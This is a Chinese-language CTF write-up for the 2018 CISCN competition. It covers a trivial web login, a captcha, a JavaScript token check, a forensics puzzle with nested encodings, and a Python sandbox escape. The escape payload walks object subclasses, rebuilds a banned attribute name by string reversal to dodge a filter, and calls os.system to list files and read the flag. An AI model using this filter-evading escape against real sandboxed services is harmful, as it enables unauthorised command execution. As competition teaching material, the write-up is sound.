2018全国大学生信息安全竞赛

EasyWeb

  • post给login.php admin:admin 直接看到flag
ciscn{2a36b5f78a1d6a107212d82ee133c421}

验证码

  • 随便点几个就出来flag了
  • 复现的时候彻底改成了签到题目,输入一个验证码即可
ciscn{qqmxxxb1sxdbsm1qdedszfh7ih2h7zxj}

run

直接明了的python沙箱逃逸

>>>dir(__builtins__)
{'SyntaxError': <type 'exceptions.SyntaxError'>, 'NameError': <type 'exceptions.NameError'>, 'Exception': <type 'exceptions.Exception'>, 'raw_input': <built-in function raw_input>, '__import__': <function importer at 0x7f4d1f0b1a28>, 'ValueError': <type 'exceptions.ValueError'>}

  • 尝试了一堆import,全被ban掉了
  • 发现__import__可用,但是拼上的字符串还是会被ban掉
  • exec,execute被ban掉
  • func_globals因为ls被禁止掉
  • __builtins__中getattr也被删掉了 — 尝试用类中的__getattribute__方法替代getattr
  • 然后拼接字符串或者反转拼出func_globals,绕过ls,即可getshell
>>>().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__("slabolg_cnuf"[::-1])['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('cd /home/ctf;'+'sl'[::-1])

5c72a1d444cf3121a5d25f2db4147ebb
bin
cpython.py
cpython.pyc
sandbox.p

>>>print ().__class__.__bases__[0].__subclasses__()[40]('/home/ctf/5c72a1d444cf3121a5d25f2db4147ebb').read()

ciscn{df3ad5676c26b5f86278ea0634847e0f}

flag in your hand

发现会断到ck()函数下:

function ck(s) {
    try {
        ic
    } catch (e) {
        return;
    }
    var a = [100, 101, 102, 48, 118, 104, 102, 120, 117, 108, 119, 124];
    if (s.length == a.length) {
        for (i = 0; i < s.length; i++) {
            if (a[i] - s.charCodeAt(i) != 3)
                return ic = false;
        }
        return ic = true;
    }
    return ic = false;
}
a=[100, 101, 102, 48, 118, 104, 102, 120, 117, 108, 119, 124]
b=""
for i in a:
	b+=chr(i-3)
print b

输入token: abc-securit

得到flag:IBIRKdUmzyBfidDyMZrWlQ

picture

题目给的是个png,010editor打开发现应该是一个jpg,binwalk发现一个zlib

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             JPEG image data, JFIF standard 1.01
38884         0x97E4          Zlib compressed data, default compression
from zlib import *
from base64 import *
import binascii

data = open('1.zlib','rb').read()
data = decompress(data)
data = b64decode(data)
open('1.zip','wb').write(data)
  • 解码完发现是个base64继续解码,发现大概是个zip,开头个PK被改为了KP,改回来就行了
  • 文件存在密码,里面有一个code文件
  • 二进制编辑器看到的效果前面是一个压缩包后面有个pyton什么的,如下:
>>> ¨}¨}¨}

Traceback (most recent call last):
  File "<pyshell#0>", line 1, in <module>
    ¨}¨}¨}
ZeroDivisionError: ¨}¨}¨}¨}¨}¨}¨}¨}¨}¨}¨}¨}¨}¨}¨}¨}¨}¨}¨}¨}¨}¨}¨}¨}¨}¨}¨}¨}¨}¨} <- password ;)
>>> 

研究了半天没弄懂,后来用windows下好压打开才知道后面那一堆是备注,并且¨}被展示为一个黑块

>>> ▉▉▉

Traceback (most recent call last):
  File "<pyshell#0>", line 1, in <module>
    ▉▉▉
ZeroDivisionError: ▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉ <- password ;)
>>> 

这才看懂,除数为零,自己跑一下

>>> 1/0
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
ZeroDivisionError: integer division or modulo by zero
integer division or modulo by zero

这个就是密码,黑块给了30个,好像个数有点不对…解开压缩包是如下密文

begin 644 key.txt
G0TE30TY[-T$X0T5$1D$V-#1".#<T,D8Y,3)!0CDQ-T4T-4%#,#9]

end

网上查到:

uuencode的开头是:
begin <模式> <文件名>
<数据>
end

解码网站:http://www.qqxiuzi.cn/bianma/uuencode.php

CISCN{7A8CEDFA644B8742F912AB917E45AC06}